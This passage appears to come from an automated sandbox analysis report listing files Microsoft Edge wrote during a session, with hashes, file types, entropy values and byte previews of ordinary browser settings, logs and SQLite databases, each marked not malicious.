SHA1:	896616D956B64BFB99A1D9EA42928BBE05E1466B
SHA-256:	21C386A19F803605C141229CB5E0178CE8A37DB7782788AC5DE5025193B14293
SHA-512:	2EDEA94685075E7B0A66C35344A955E4A7906263AC6A00C0F3420577369AC7FC9BCEF6086252685A89636E0E5DCFD69A7652B7C697ED78C326F9F1AD5CFC84B2
Malicious:	false
Preview:	............W.E....&....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\HubApps (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (1597), with CRLF line terminators
Category:	dropped
Size (bytes):	115717
Entropy (8bit):	5.183660917461099
Encrypted:	false
SSDEEP:	1536:utDURN77GZqW3v6PD/469IxVBmB22q7LRks3swn0:utAaE2Jt0
MD5:	3D8183370B5E2A9D11D43EBEF474B305
SHA1:	155AB0A46E019E834FA556F3D818399BFF02162B
SHA-256:	6A30BADAD93601FC8987B8239D8907BCBE65E8F1993E4D045D91A77338A2A5B4
SHA-512:	B7AD04F10CD5DE147BDBBE2D642B18E9ECB2D39851BE1286FDC65FF83985EA30278C95263C98999B6D94683AE1DB86436877C30A40992ACA1743097A2526FE81
Malicious:	false
Preview:	{.. "current_locale": "en-GB",.. "hub_apps": [ {.. "auto_show": {.. "enabled": true,.. "fre_notification": {.. "enabled": true,.. "header": "Was opening this pane helpful to you?",.. "show_count": 2,.. "text": "Was opening this pane helpful to you?".. },.. "settings_description": "We'll automatically open Bing Chat in the sidebar to show you relevant web experiences alongside your web content",.. "settings_title": "Automatically open Bing Chat in the sidebar",.. "triggering_configs\|flight:msHubAppsMsnArticleAutoShowTriggering": [ {.. "show_count_basis": "signal",.. "signal_name": "IsMsnArticleAutoOpenFromP1P2",.. "signal_threshold": 0.5.. } ],.. "triggering_configs\|flight:msUndersidePersistentChat": [ {.. "signal_name": "IsUndersidePersistentChatLink",.. "signal_threshold": 0.5.. } ],.. "triggering_co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\HubApps Icons

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 7, database pages 12, cookie 0x3, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	49152
Entropy (8bit):	3.6480743894689938
Encrypted:	false
SSDEEP:	384:aj9P06773pLyP/KbtRQkQeragam6Izc8jl+RKToaADhf:adB7IP/ie2NYel+RKc39
MD5:	C467D4537A7859B9731BE946ADAF289C
SHA1:	3BD924B54DBDB92420BFC69BAB91AB1CB501BE4E
SHA-256:	E9FF4D10C0BD971C15602753E5D5AE42BBF282575E7279A83A75A7162F2E5BF3
SHA-512:	C01620EF2A99A687AE8C49C4D88BB61654946493154D5837222C2ADCBF6AE2D195FA6E2E25077F01F0DBA9BBEA274532A599077A2CB7D2ADA18F1F6CD01CB7E2
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...:.8....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	414
Entropy (8bit):	5.2363214598797
Encrypted:	false
SSDEEP:	12:IY4vLZYeb8rcHEZrELFUt8BYJ/+BYD54ZYeb8rcHEZrEZSJ:AlYeb8nZrExg88oYeb8nZrEZe
MD5:	59983837BD3309EEAEF8C3436C2BC4B5
SHA1:	8437600E5D1B3C1481D7925B5340CD377337AEFE
SHA-256:	04943F6A14485180F07488996613CA1D950AD01D2C718701153DEC85881DE75D
SHA-512:	C51BF768AF81438E89F42E79508506DE567066806986F0EC7129C5118AACE6311ADC5707C855FCE06B749147DD7FB0B93295134009FAE8C59FBC5FEFC37D736C
Malicious:	false
Preview:	2024/11/19-14:05:42.215 14f4 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold/MANIFEST-000001.2024/11/19-14:05:42.215 14f4 Recovering log #3.2024/11/19-14:05:42.215 14f4 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	414
Entropy (8bit):	5.2363214598797
Encrypted:	false
SSDEEP:	12:IY4vLZYeb8rcHEZrELFUt8BYJ/+BYD54ZYeb8rcHEZrEZSJ:AlYeb8nZrExg88oYeb8nZrEZe
MD5:	59983837BD3309EEAEF8C3436C2BC4B5
SHA1:	8437600E5D1B3C1481D7925B5340CD377337AEFE
SHA-256:	04943F6A14485180F07488996613CA1D950AD01D2C718701153DEC85881DE75D
SHA-512:	C51BF768AF81438E89F42E79508506DE567066806986F0EC7129C5118AACE6311ADC5707C855FCE06B749147DD7FB0B93295134009FAE8C59FBC5FEFC37D736C
Malicious:	false
Preview:	2024/11/19-14:05:42.215 14f4 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold/MANIFEST-000001.2024/11/19-14:05:42.215 14f4 Recovering log #3.2024/11/19-14:05:42.215 14f4 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	1476
Entropy (8bit):	5.654308192787948
Encrypted:	false
SSDEEP:	24:7ZWDcl9vXanGjXZDWNV03y1x4sMyIWXWslHmkTN5zgFHHmi28/V:7ZJ9v3XZCNV03Sx4/yIKWA+HH328t
MD5:	BF6F07E5638EDE909413A4EF56DC5294
SHA1:	A57D60EFDD744207E29A6C9D466E6151D3CC4BC2
SHA-256:	7F07E7FFC9D8A9154CE7B138C64E6D55A8AECA5D62160E09627845870E0E7C1E
SHA-512:	D6B9568328A55B3D57CC272809A6BFC63AD3760F756ECFB37C793045E5504B069D39C004B8B08CA3A03920ED2BD210818C17818F269A9156F42FB5F9F5B968A0
Malicious:	false
Preview:	..~e.................VERSION.1..META:https://ntp.msn.com............!_https://ntp.msn.com..LastKnownPV..1732043145456.-_https://ntp.msn.com..LastVisuallyReadyMarker..1732043147866.._https://ntp.msn.com..MUID!.325FB603007165991815A33F01D964B1.._https://ntp.msn.com..bkgdV...{"cachedVideoId":-1,"lastUpdatedTime":1732043145536,"schedule":[-1,-1,-1,-1,34,20,21],"scheduleFixed":[-1,-1,-1,-1,34,20,21],"simpleSchedule":[35,23,29,31,30,22,47]}.%_https://ntp.msn.com..clean_meta_flag..1.5_https://ntp.msn.com..enableUndersideAutoOpenFromEdge..false.7_https://ntp.msn.com..nurturing_interaction_trace_ls_id..1732043145418.&_https://ntp.msn.com..oneSvcUniTunMode..header."_https://ntp.msn.com..pageVersions..{"dhp":"20241118.317"}.*_https://ntp.msn.com..pivotSelectionSource..sticky.#_https://ntp.msn.com..selectedPivot..myFeed.5_https://ntp.msn.com..ssrBasePageCachingFeatureActive..true.#_https://ntp.msn.com..switchedPivot..myFeed.O_https://ntp.msn.com..Tue Nov 19 2024 14:05:44 GMT-0500 (Eastern Standa

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	342
Entropy (8bit):	5.192208246815755
Encrypted:	false
SSDEEP:	6:HU4SjnOq2PcNwi23oH+Tcwt8a2jMGIFUt8YU4SBZmw+YU4SMkwOcNwi23oH+Tcw2:0jnOvLZYeb8EFUt8ZB/+ZM54ZYeb8bJ
MD5:	C3B80716DCCF5D36932A8D11DE2C60A3
SHA1:	38AD54682DDA228FC876B5A0F487B6AE519974E3
SHA-256:	5DD57005DA715E52EF8BBD639AB8EF22CD6257CDB184F4B6418586159ACA6479
SHA-512:	5AF8DF246FFF5287300B5DEDE5ECEE86F5EE59AADABD9CD775B4E7F8C9A027438CD9B1F3CAC885A38C1C1B97D0A2B150245956A0C1A3167DB06A389FC371DD9E
Malicious:	false
Preview:	2024/11/19-14:05:37.352 1ed4 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb/MANIFEST-000001.2024/11/19-14:05:37.383 1ed4 Recovering log #3.2024/11/19-14:05:37.393 1ed4 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	342
Entropy (8bit):	5.192208246815755
Encrypted:	false
SSDEEP:	6:HU4SjnOq2PcNwi23oH+Tcwt8a2jMGIFUt8YU4SBZmw+YU4SMkwOcNwi23oH+Tcw2:0jnOvLZYeb8EFUt8ZB/+ZM54ZYeb8bJ
MD5:	C3B80716DCCF5D36932A8D11DE2C60A3
SHA1:	38AD54682DDA228FC876B5A0F487B6AE519974E3
SHA-256:	5DD57005DA715E52EF8BBD639AB8EF22CD6257CDB184F4B6418586159ACA6479
SHA-512:	5AF8DF246FFF5287300B5DEDE5ECEE86F5EE59AADABD9CD775B4E7F8C9A027438CD9B1F3CAC885A38C1C1B97D0A2B150245956A0C1A3167DB06A389FC371DD9E
Malicious:	false
Preview:	2024/11/19-14:05:37.352 1ed4 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb/MANIFEST-000001.2024/11/19-14:05:37.383 1ed4 Recovering log #3.2024/11/19-14:05:37.393 1ed4 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\2a2db9bd-9f1f-4293-9ef6-e4771422d1e9.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\3ff1bdf4-8e72-496f-a0d9-726a426a211a.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1650
Entropy (8bit):	5.311266799872838
Encrypted:	false
SSDEEP:	48:YcCpfgCzsxtsqfc7leeBkBRsvCgH0RYhbyDF:F2fmt2keBkBgT0+hy
MD5:	0D85BE8EE9A93ED8AD5CF37A7F44F300
SHA1:	0FCF473793F12DA250DF2C53D2989F5ABA01CDA7
SHA-256:	AFBD393B16F470B5B6F08BCCD7DB6F3582765CB10602721954F2A42E2FECD3B4
SHA-512:	726E0DE666EA1FFDFB73368D2E5857E6D7CC197C523A14435290FA0F039CB089F2CCD9B6D70C9B7A16499D487FBE10EDB77F41300312D97A650CDDDE2BA84939
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"anonymization":["FAAAAA4AAABodHRwOi8vbXNuLmNvbQAA",false],"server":"https://assets.msn.com","supports_spdy":true},{"anonymization":["IAAAABoAAABodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbQAA",false],"server":"https://www.googleapis.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13379108739046684","port":443,"protocol_str":"quic"}],"anonymization":["GAAAABIAAABodHRwczovL2dvb2dsZS5jb20AAA==",false],"server":"https://clients2.google.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13379108743195096","port":443,"protocol_str":"quic"}],"anonymization":["JAAAAB0AAABodHRwczovL2dvb2dsZXVzZXJjb250ZW50LmNvbQAAAA==",false],"server":"https://clients2.googleusercontent.com","supports_spdy":true},{"anonymization":["HAAAABUAAABodHRwczovL21pY3Jvc29mdC5jb20AAAA=",false],"server":"https://msedgeextensions.sf.tlu.dl.delivery.mp.microsoft.com","supports_spdy":true},{"anonymization"

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\49f4e159-8637-4516-9936-83ff9fb5096d.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\72b5a19a-670f-4a19-a3af-860ced2d777d.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1618
Entropy (8bit):	5.3035190857054575
Encrypted:	false
SSDEEP:	48:YcCpWsduCvsafc7leeBRsygCgkhYhbyDF:F2vu22keBxukOhy
MD5:	D07414264D2DA6A121F18223DC50EC04
SHA1:	814D93916C113C3BCB1AFF03A5AB5E9CB2A7BD1E
SHA-256:	D594EC617D902BC5C2742BDF21E9D7DFD29CC95A3C1AA7EC8C2D7BA07417A54B
SHA-512:	93746830632AE0D4E0A764C1226D21474C1282831E1A642ED37973841C5AB1E0FB63F89D55B3ACA3460EC3510D464ABCE7157A5128B5DA694AB3D1A7A53D56A4
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"anonymization":["FAAAAA4AAABodHRwOi8vbXNuLmNvbQAA",false],"server":"https://assets.msn.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343557218151956","port":443,"protocol_str":"quic"}],"anonymization":["GAAAABIAAABodHRwczovL2dvb2dsZS5jb20AAA==",false],"server":"https://clients2.google.com","supports_spdy":true},{"anonymization":["FAAAAA8AAABodHRwczovL21zbi5jb20A",false],"server":"https://assets.msn.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343557218812706","port":443,"protocol_str":"quic"}],"anonymization":["JAAAAB0AAABodHRwczovL2dvb2dsZXVzZXJjb250ZW50LmNvbQAAAA==",false],"server":"https://clients2.googleusercontent.com","supports_spdy":true},{"anonymization":["HAAAABUAAABodHRwczovL21pY3Jvc29mdC5jb20AAAA=",false],"server":"https://msedgeextensions.sf.tlu.dl.delivery.mp.microsoft.com","supports_spdy":true},{"anonymization":["HAAAABUAAABodHRwc

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 8, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	2.7530820175294317
Encrypted:	false
SSDEEP:	96:te+AuJCJ41uC0AhHWtlSTSlgk6Pf1uricosws7XckO0L/ZJV8Y:tTJO4kC2tlgBHPMWcwMXcf0L/ZJVb
MD5:	FEE7E0EB16A2B34C9E13AD616FD95F7A
SHA1:	9C3676803E0579C1798D5A4ACC23EB3C67842C1E
SHA-256:	DDBE0802CE14CE742DDD429D0FCAF7453F6B609FCF75323E955C19EC64E22FF9
SHA-512:	B5576E88E4F10247EAE7E83EB8FE1646F343AEEBF2098C4D89F46071FCBED197ACB90A5FD81B0507FC6FED576A60210213E6A46368134066DC1A2DC98C04E688
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...$......g..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1618
Entropy (8bit):	5.3035190857054575
Encrypted:	false
SSDEEP:	48:YcCpWsduCvsafc7leeBRsygCgkhYhbyDF:F2vu22keBxukOhy
MD5:	D07414264D2DA6A121F18223DC50EC04
SHA1:	814D93916C113C3BCB1AFF03A5AB5E9CB2A7BD1E
SHA-256:	D594EC617D902BC5C2742BDF21E9D7DFD29CC95A3C1AA7EC8C2D7BA07417A54B
SHA-512:	93746830632AE0D4E0A764C1226D21474C1282831E1A642ED37973841C5AB1E0FB63F89D55B3ACA3460EC3510D464ABCE7157A5128B5DA694AB3D1A7A53D56A4
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"anonymization":["FAAAAA4AAABodHRwOi8vbXNuLmNvbQAA",false],"server":"https://assets.msn.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343557218151956","port":443,"protocol_str":"quic"}],"anonymization":["GAAAABIAAABodHRwczovL2dvb2dsZS5jb20AAA==",false],"server":"https://clients2.google.com","supports_spdy":true},{"anonymization":["FAAAAA8AAABodHRwczovL21zbi5jb20A",false],"server":"https://assets.msn.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343557218812706","port":443,"protocol_str":"quic"}],"anonymization":["JAAAAB0AAABodHRwczovL2dvb2dsZXVzZXJjb250ZW50LmNvbQAAAA==",false],"server":"https://clients2.googleusercontent.com","supports_spdy":true},{"anonymization":["HAAAABUAAABodHRwczovL21pY3Jvc29mdC5jb20AAAA=",false],"server":"https://msedgeextensions.sf.tlu.dl.delivery.mp.microsoft.com","supports_spdy":true},{"anonymization":["HAAAABUAAABodHRwc

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Network Persistent State~RF36f55.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1618
Entropy (8bit):	5.3035190857054575
Encrypted:	false
SSDEEP:	48:YcCpWsduCvsafc7leeBRsygCgkhYhbyDF:F2vu22keBxukOhy
MD5:	D07414264D2DA6A121F18223DC50EC04
SHA1:	814D93916C113C3BCB1AFF03A5AB5E9CB2A7BD1E
SHA-256:	D594EC617D902BC5C2742BDF21E9D7DFD29CC95A3C1AA7EC8C2D7BA07417A54B
SHA-512:	93746830632AE0D4E0A764C1226D21474C1282831E1A642ED37973841C5AB1E0FB63F89D55B3ACA3460EC3510D464ABCE7157A5128B5DA694AB3D1A7A53D56A4
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"anonymization":["FAAAAA4AAABodHRwOi8vbXNuLmNvbQAA",false],"server":"https://assets.msn.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343557218151956","port":443,"protocol_str":"quic"}],"anonymization":["GAAAABIAAABodHRwczovL2dvb2dsZS5jb20AAA==",false],"server":"https://clients2.google.com","supports_spdy":true},{"anonymization":["FAAAAA8AAABodHRwczovL21zbi5jb20A",false],"server":"https://assets.msn.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343557218812706","port":443,"protocol_str":"quic"}],"anonymization":["JAAAAB0AAABodHRwczovL2dvb2dsZXVzZXJjb250ZW50LmNvbQAAAA==",false],"server":"https://clients2.googleusercontent.com","supports_spdy":true},{"anonymization":["HAAAABUAAABodHRwczovL21pY3Jvc29mdC5jb20AAAA=",false],"server":"https://msedgeextensions.sf.tlu.dl.delivery.mp.microsoft.com","supports_spdy":true},{"anonymization":["HAAAABUAAABodHRwc

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Reporting and NEL

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 7, database pages 9, cookie 0x4, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	36864
Entropy (8bit):	1.3763243149587208
Encrypted:	false
SSDEEP:	48:TFkIopKWurJNVr1GJmA8pv82pfurJNVrdHXuccaurJN2VrJ1n4n1GmzNGU1cS195:JkIEumQv8m1ccnvSgOGDJlGFh53wBw1a
MD5:	DD51E1CCA11926038E524258049D709F
SHA1:	C61BF7B89E08DCCA7879E99BA54AAEEB5F891459
SHA-256:	2A592182EF999015A6083AA09B8909F4A48D4FE1C8FF0D5C940D34F77EFE8BC7
SHA-512:	F84BD4A7EB28FE239FBC35293898129639562C821CFCCF1DDD8F3FB776B6597B40E78BD18E474A370CAF0A63D201C63F40BFED145DB69F24EB6072D9EF92F8E4
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...D.........7............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports~RF25f7b.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports~RF2713e.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports~RF272b5.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Sdch Dictionaries (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\b8dabd04-0ca8-499d-b481-fbc506d1243c.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\dedb1984-3e14-4d43-8fa3-80bfca3fde9e.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\e878901f-eb69-46e6-a1c9-3a01d4a65724.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Nurturing\campaign_history

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 3, database pages 5, cookie 0x2, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.8350301952073809
Encrypted:	false
SSDEEP:	24:TLSOUOq0afDdWec9sJlAMoqsgC7zn2z8ZI7J5fc:T+OUzDbg3sAM/sgCnn2ztc
MD5:	0DAD8D7F079797377CD56DAE47E1A619
SHA1:	A353C01C5B9BA9E0315ABA74D3337B7D6EE97CB2
SHA-256:	7BDA584E0C1BE9E104065370FD279A7E771D7EB4F7E4CC7C80F146931F150E33
SHA-512:	5A57C0D303672564DDEAA08B5DAAEE1BA24B67C46100720CE69F0908427ACE55F330D96A772D0E1F96B595FBBD70E6145AA464FC4F312EFE095F9AC909E304E8
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

